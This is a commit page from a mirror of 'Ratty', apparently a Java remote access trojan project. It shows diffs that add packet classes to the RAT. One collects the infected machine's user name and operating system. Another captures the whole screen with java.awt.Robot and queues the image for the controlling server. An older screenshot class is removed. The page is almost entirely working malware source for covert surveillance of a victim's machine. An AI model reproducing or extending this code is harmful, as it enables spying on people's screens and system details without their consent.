mirror of https://github.com/LucaBongiorni/Ratty
Browse Source
Major changes
Major changes
The ActiveClient class now works queue based Added GUI improvements New packetsmaster
Sogomn
9 years ago
13 changed files with 276 additions and 119 deletions
-
1.gitignore
-
110Ratty/src/de/sogomn/rat/ActiveClient.java
-
3Ratty/src/de/sogomn/rat/Ratty.java
-
17Ratty/src/de/sogomn/rat/packet/ImagePacket.java
-
50Ratty/src/de/sogomn/rat/packet/InformationPacket.java
-
8Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
-
18Ratty/src/de/sogomn/rat/packet/PacketType.java
-
7Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
57Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
-
33Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java
-
46Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java
-
14Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
31Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java
@ -0,0 +1,50 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class InformationPacket implements IPacket { |
|||
|
|||
private String name, os, version; |
|||
|
|||
public InformationPacket(final String name, final String os, final String version) { |
|||
this.name = name; |
|||
this.os = os; |
|||
this.version = version; |
|||
} |
|||
|
|||
public InformationPacket() { |
|||
this("", "", ""); |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeUTF(name); |
|||
client.writeUTF(os); |
|||
client.writeUTF(version); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
name = client.readUTF(); |
|||
os = client.readUTF(); |
|||
version = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
public String getName() { |
|||
return name; |
|||
} |
|||
|
|||
public String getOS() { |
|||
return os; |
|||
} |
|||
|
|||
public String getVersion() { |
|||
return version; |
|||
} |
|||
|
|||
} |
@ -1,57 +0,0 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.awt.AWTException; |
|||
import java.awt.Rectangle; |
|||
import java.awt.Robot; |
|||
import java.awt.image.BufferedImage; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class ScreenshotPacket implements IPacket { |
|||
|
|||
private int x, y; |
|||
private int width, height; |
|||
|
|||
public ScreenshotPacket() { |
|||
//... |
|||
} |
|||
|
|||
public ScreenshotPacket(final int x, final int y, final int width, final int height) { |
|||
this.x = x; |
|||
this.y = y; |
|||
this.width = width; |
|||
this.height = height; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeInt(x); |
|||
client.writeInt(y); |
|||
client.writeInt(width); |
|||
client.writeInt(height); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
x = client.readInt(); |
|||
y = client.readInt(); |
|||
width = client.readInt(); |
|||
height = client.readInt(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final Rectangle screenRect = new Rectangle(x, y, width, height); |
|||
|
|||
try { |
|||
final Robot robot = new Robot(); |
|||
final BufferedImage image = robot.createScreenCapture(screenRect); |
|||
final ImagePacket packet = new ImagePacket(image); |
|||
|
|||
client.sendPacket(packet); |
|||
} catch (final AWTException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
} |
@ -0,0 +1,33 @@ |
|||
package de.sogomn.rat.packet.request; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
import de.sogomn.rat.Ratty; |
|||
import de.sogomn.rat.packet.IPacket; |
|||
import de.sogomn.rat.packet.InformationPacket; |
|||
|
|||
public final class InformationRequestPacket implements IPacket { |
|||
|
|||
public InformationRequestPacket() { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final String name = System.getProperty("user.name"); |
|||
final String os = System.getProperty("os.name"); |
|||
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); |
|||
|
|||
client.addPacket(packet); |
|||
} |
|||
|
|||
} |
@ -0,0 +1,46 @@ |
|||
package de.sogomn.rat.packet.request; |
|||
|
|||
import java.awt.AWTException; |
|||
import java.awt.Dimension; |
|||
import java.awt.Rectangle; |
|||
import java.awt.Robot; |
|||
import java.awt.Toolkit; |
|||
import java.awt.image.BufferedImage; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
import de.sogomn.rat.packet.IPacket; |
|||
import de.sogomn.rat.packet.ImagePacket; |
|||
|
|||
public final class ScreenshotRequestPacket implements IPacket { |
|||
|
|||
public ScreenshotRequestPacket() { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); |
|||
final Rectangle screenRect = new Rectangle(screen); |
|||
|
|||
try { |
|||
final Robot robot = new Robot(); |
|||
final BufferedImage image = robot.createScreenCapture(screenRect); |
|||
final ImagePacket packet = new ImagePacket(image, "PNG"); |
|||
|
|||
client.addPacket(packet); |
|||
} catch (final AWTException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue